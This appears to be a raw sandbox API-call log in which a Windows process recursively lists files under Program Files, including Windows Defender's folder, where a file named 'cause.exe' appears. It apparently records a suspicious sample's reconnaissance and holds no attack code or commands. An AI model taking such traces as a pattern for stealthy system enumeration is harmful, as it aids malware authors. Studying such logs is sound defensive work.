	[0157.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0157.561] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x85d6c68a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x85d6c68a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1
	[0157.561] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1
	[0157.827] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.020.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1
	[0157.828] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1
	[0157.828] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.028.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1
	[0157.828] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.028.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0
	[0157.828] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.829] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1
	[0157.829] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0
	[0157.829] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0157.831] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0157.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0157.831] lstrlenW (lpString="C:\\Program Files\\Windows Defender") returned 33
	[0157.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmMonitoringInstall.mof", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMMonitoringProvider.dll", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x520c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmStatusInstall.mof", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01ffa0, ftCreationTime.dwHighDateTime=0x1d4a483, ftLastAccessTime.dwLowDateTime=0xfdbf21e0, ftLastAccessTime.dwHighDateTime=0x1d4c1da, ftLastWriteTime.dwLowDateTime=0xfdbf21e0, ftLastWriteTime.dwHighDateTime=0x1d4c1da, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cause.exe", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientWMIInstall.mof", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigSecurityPolicy.exe", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataLayer.dll", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x171cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DbgHelp.dll", cAlternateFileName="")) returned 1
	[0157.832] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefenderCSP.dll", cAlternateFileName="")) returned 1
	[0157.833] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defendericon.png", cAlternateFileName="")) returned 1
	[0157.833] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.836] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39
	[0157.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpResL.dll.mui", cAlternateFileName="")) returned 1
	[0157.838] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe.mui", cAlternateFileName="")) returned 1
	[0157.839] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.dll.mui", cAlternateFileName="")) returned 1
	[0157.839] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9063ce53, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x13c34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement.mfl", cAlternateFileName="")) returned 1
	[0157.839] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProtectionManagement_Uninstall.mfl", cAlternateFileName="")) returned 1
	[0157.839] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 1
	[0157.839] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 0
	[0157.839] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0157.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
